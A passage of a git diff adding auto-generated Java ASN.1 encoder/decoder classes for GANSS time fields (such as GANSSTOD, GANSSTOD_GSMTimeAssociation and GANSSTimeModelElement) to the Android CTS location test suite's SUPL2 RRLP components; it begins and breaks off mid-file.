+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSSignals = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD.java
new file mode 100755
index 0000000..20c0df1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSTOD extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_GANSSTOD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSTOD() {
+ super();
+ setValueRange("0", "86399");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSTOD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSTOD != null) {
+ return ImmutableList.of(TAG_GANSSTOD);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSTOD from encoded stream.
+ */
+ public static GANSSTOD fromPerUnaligned(byte[] encodedBytes) {
+ GANSSTOD result = new GANSSTOD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSTOD from encoded stream.
+ */
+ public static GANSSTOD fromPerAligned(byte[] encodedBytes) {
+ GANSSTOD result = new GANSSTOD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSTOD = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODUncertainty.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODUncertainty.java
new file mode 100755
index 0000000..9718368
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODUncertainty.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSTODUncertainty extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_GANSSTODUncertainty
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSTODUncertainty() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSTODUncertainty;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSTODUncertainty != null) {
+ return ImmutableList.of(TAG_GANSSTODUncertainty);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSTODUncertainty from encoded stream.
+ */
+ public static GANSSTODUncertainty fromPerUnaligned(byte[] encodedBytes) {
+ GANSSTODUncertainty result = new GANSSTODUncertainty();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSTODUncertainty from encoded stream.
+ */
+ public static GANSSTODUncertainty fromPerAligned(byte[] encodedBytes) {
+ GANSSTODUncertainty result = new GANSSTODUncertainty();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSTODUncertainty = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java
new file mode 100755
index 0000000..d99d47e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java
@@ -0,0 +1,524 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSTOD_GSMTimeAssociation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSTOD_GSMTimeAssociation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSTOD_GSMTimeAssociation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSTOD_GSMTimeAssociation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSTOD_GSMTimeAssociation != null) {
+ return ImmutableList.of(TAG_GANSSTOD_GSMTimeAssociation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSTOD_GSMTimeAssociation from encoded stream.
+ */
+ public static GANSSTOD_GSMTimeAssociation fromPerUnaligned(byte[] encodedBytes) {
+ GANSSTOD_GSMTimeAssociation result = new GANSSTOD_GSMTimeAssociation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSTOD_GSMTimeAssociation from encoded stream.
+ */
+ public static GANSSTOD_GSMTimeAssociation fromPerAligned(byte[] encodedBytes) {
+ GANSSTOD_GSMTimeAssociation result = new GANSSTOD_GSMTimeAssociation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private BCCHCarrier bcchCarrier_;
+ public BCCHCarrier getBcchCarrier() {
+ return bcchCarrier_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BCCHCarrier
+ */
+ public void setBcchCarrier(Asn1Object value) {
+ this.bcchCarrier_ = (BCCHCarrier) value;
+ }
+ public BCCHCarrier setBcchCarrierToNewInstance() {
+ bcchCarrier_ = new BCCHCarrier();
+ return bcchCarrier_;
+ }
+
+ private BSIC bsic_;
+ public BSIC getBsic() {
+ return bsic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BSIC
+ */
+ public void setBsic(Asn1Object value) {
+ this.bsic_ = (BSIC) value;
+ }
+ public BSIC setBsicToNewInstance() {
+ bsic_ = new BSIC();
+ return bsic_;
+ }
+
+ private FrameNumber frameNumber_;
+ public FrameNumber getFrameNumber() {
+ return frameNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FrameNumber
+ */
+ public void setFrameNumber(Asn1Object value) {
+ this.frameNumber_ = (FrameNumber) value;
+ }
+ public FrameNumber setFrameNumberToNewInstance() {
+ frameNumber_ = new FrameNumber();
+ return frameNumber_;
+ }
+
+ private TimeSlot timeSlot_;
+ public TimeSlot getTimeSlot() {
+ return timeSlot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeSlot
+ */
+ public void setTimeSlot(Asn1Object value) {
+ this.timeSlot_ = (TimeSlot) value;
+ }
+ public TimeSlot setTimeSlotToNewInstance() {
+ timeSlot_ = new TimeSlot();
+ return timeSlot_;
+ }
+
+ private BitNumber bitNumber_;
+ public BitNumber getBitNumber() {
+ return bitNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BitNumber
+ */
+ public void setBitNumber(Asn1Object value) {
+ this.bitNumber_ = (BitNumber) value;
+ }
+ public BitNumber setBitNumberToNewInstance() {
+ bitNumber_ = new BitNumber();
+ return bitNumber_;
+ }
+
+ private FrameDrift frameDrift_;
+ public FrameDrift getFrameDrift() {
+ return frameDrift_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FrameDrift
+ */
+ public void setFrameDrift(Asn1Object value) {
+ this.frameDrift_ = (FrameDrift) value;
+ }
+ public FrameDrift setFrameDriftToNewInstance() {
+ frameDrift_ = new FrameDrift();
+ return frameDrift_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBcchCarrier() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBcchCarrier();
+ }
+
+ @Override public void setToNewInstance() {
+ setBcchCarrierToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BCCHCarrier.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bcchCarrier : "
+ + getBcchCarrier().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBsic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBsic();
+ }
+
+ @Override public void setToNewInstance() {
+ setBsicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BSIC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bsic : "
+ + getBsic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getFrameNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFrameNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setFrameNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FrameNumber.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "frameNumber : "
+ + getFrameNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimeSlot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimeSlot();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimeSlotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeSlot.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeSlot : "
+ + getTimeSlot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BitNumber.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitNumber : "
+ + getBitNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getFrameDrift() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFrameDrift();
+ }
+
+ @Override public void setToNewInstance() {
+ setFrameDriftToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FrameDrift.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "frameDrift : "
+ + getFrameDrift().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSTOD_GSMTimeAssociation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODm.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODm.java
new file mode 100755
index 0000000..c388f92
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODm.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSTODm extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_GANSSTODm
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSTODm() {
+ super();
+ setValueRange("0", "3599999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSTODm;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSTODm != null) {
+ return ImmutableList.of(TAG_GANSSTODm);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSTODm from encoded stream.
+ */
+ public static GANSSTODm fromPerUnaligned(byte[] encodedBytes) {
+ GANSSTODm result = new GANSSTODm();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSTODm from encoded stream.
+ */
+ public static GANSSTODm fromPerAligned(byte[] encodedBytes) {
+ GANSSTODm result = new GANSSTODm();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSTODm = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTimeModelElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTimeModelElement.java
new file mode 100755
index 0000000..d1827fe
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTimeModelElement.java
@@ -0,0 +1,768 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSTimeModelElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSTimeModelElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSTimeModelElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSTimeModelElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSTimeModelElement != null) {
+ return ImmutableList.of(TAG_GANSSTimeModelElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSTimeModelElement from encoded stream.
+ */
+ public static GANSSTimeModelElement fromPerUnaligned(byte[] encodedBytes) {
+ GANSSTimeModelElement result = new GANSSTimeModelElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSTimeModelElement from encoded stream.
+ */
+ public static GANSSTimeModelElement fromPerAligned(byte[] encodedBytes) {
+ GANSSTimeModelElement result = new GANSSTimeModelElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSTimeModelElement.ganssTimeModelRefTimeType ganssTimeModelRefTime_;
+ public GANSSTimeModelElement.ganssTimeModelRefTimeType getGanssTimeModelRefTime() {
+ return ganssTimeModelRefTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTimeModelElement.ganssTimeModelRefTimeType
+ */
+ public void setGanssTimeModelRefTime(Asn1Object value) {
+ this.ganssTimeModelRefTime_ = (GANSSTimeModelElement.ganssTimeModelRefTimeType) value;
+ }
+ public GANSSTimeModelElement.ganssTimeModelRefTimeType setGanssTimeModelRefTimeToNewInstance() {
+ ganssTimeModelRefTime_ = new GANSSTimeModelElement.ganssTimeModelRefTimeType();
+ return ganssTimeModelRefTime_;
+ }
+
+ private TA0 tA0_;
+ public TA0 getTA0() {
+ return tA0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TA0
+ */
+ public void setTA0(Asn1Object value) {
+ this.tA0_ = (TA0) value;
+ }
+ public TA0 setTA0ToNewInstance() {
+ tA0_ = new TA0();
+ return tA0_;
+ }
+
+ private TA1 tA1_;
+ public TA1 getTA1() {
+ return tA1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TA1
+ */
+ public void setTA1(Asn1Object value) {
+ this.tA1_ = (TA1) value;
+ }
+ public TA1 setTA1ToNewInstance() {
+ tA1_ = new TA1();
+ return tA1_;
+ }
+
+ private TA2 tA2_;
+ public TA2 getTA2() {
+ return tA2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TA2
+ */
+ public void setTA2(Asn1Object value) {
+ this.tA2_ = (TA2) value;
+ }
+ public TA2 setTA2ToNewInstance() {
+ tA2_ = new TA2();
+ return tA2_;
+ }
+
+ private GANSSTimeModelElement.gnssTOIDType gnssTOID_;
+ public GANSSTimeModelElement.gnssTOIDType getGnssTOID() {
+ return gnssTOID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTimeModelElement.gnssTOIDType
+ */
+ public void setGnssTOID(Asn1Object value) {
+ this.gnssTOID_ = (GANSSTimeModelElement.gnssTOIDType) value;
+ }
+ public GANSSTimeModelElement.gnssTOIDType setGnssTOIDToNewInstance() {
+ gnssTOID_ = new GANSSTimeModelElement.gnssTOIDType();
+ return gnssTOID_;
+ }
+
+ private GANSSTimeModelElement.weekNumberType weekNumber_;
+ public GANSSTimeModelElement.weekNumberType getWeekNumber() {
+ return weekNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTimeModelElement.weekNumberType
+ */
+ public void setWeekNumber(Asn1Object value) {
+ this.weekNumber_ = (GANSSTimeModelElement.weekNumberType) value;
+ }
+ public GANSSTimeModelElement.weekNumberType setWeekNumberToNewInstance() {
+ weekNumber_ = new GANSSTimeModelElement.weekNumberType();
+ return weekNumber_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTimeModelRefTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTimeModelRefTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTimeModelRefTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTimeModelElement.ganssTimeModelRefTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTimeModelRefTime : "
+ + getGanssTimeModelRefTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getTA0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTA0();
+ }
+
+ @Override public void setToNewInstance() {
+ setTA0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TA0.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tA0 : "
+ + getTA0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getTA1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
